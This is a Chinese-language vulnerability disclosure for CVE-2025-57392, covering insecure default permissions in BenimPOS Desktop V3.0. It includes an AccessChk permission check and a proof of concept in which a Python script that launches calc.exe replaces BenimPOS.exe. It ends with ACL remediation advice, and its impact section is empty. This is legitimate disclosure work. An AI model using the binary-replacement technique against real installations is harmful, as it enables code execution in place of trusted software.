CVE-2025-57392

CVE-2025-57392

🔒 安全漏洞报告
产品：BenimPOS Desktop V3.0
漏洞类型：不安全的文件权限
受影响组件：BenimPOS.exe, unins000.exe, System.Data.SQLite.dll
漏洞分类：CWE-276：不正确的默认权限
概念验证作者：Fatih Bülbül
测试环境：Windows 11 x64 – 本地管理员 + 标准用户

🛠️ 1. 漏洞检测
首先，我使用 Sysinternals 开发的 AccessChk.exe 工具检查了 BenimPOS 应用程序安装目录的权限：
使用的命令：
accesschk.exe -dqvw "C:\Program Files (x86)\BenimPOS"

获得的结果：
RW Everyone
FILE_ALL_ACCESS
RW BUILTIN\Users
FILE_ALL_ACCESS

📌 "Everyone" 和 "BUILTIN\Users" 组被授予了 FILE_ALL_ACCESS 权限。这意味着任何标准用户都可以修改应用程序的 .exe 或 .dll 文件。
📸 以下是该输出的截图：

2. 漏洞利用
   利用这些权限，我将应用程序目录中的 BenimPOS.exe 文件替换为我创建的一个无害的自定义 .exe 文件。
   📦 恶意 EXE 示例（启动 calc.exe）：
   import subprocess
   import sys
   import traceback

try:
subprocess.Popen(r"C:\Windows\System32\calc.exe")
except Exception as e:
with open("error_log.txt", "w") as f:
f.write(traceback.format_exc())
sys.exit(1)

• 我使用 PyInstaller 将此脚本转换成了 .exe 文件。
• 然后，我用这个新的可执行文件替换了原始的 BenimPOS.exe 文件。
🔁 程序启动：
• 计算器 (calc.exe) 被执行，而不是打开 BenimPOS。
📸 截图（calc.exe 启动）：

🧨 3. 影响与风险
此漏洞的影响是严重的：

---

🩹 4. 建议修复方案

1. 标准用户不应拥有应用程序安装目录的写入权限。
2. 只有以下组应对 C:\Program Files (x86)\BenimPOS 目录具有写入权限：
   o Administrators
   o SYSTEM
3. 安装过程中应正确配置访问控制列表 (ACL)。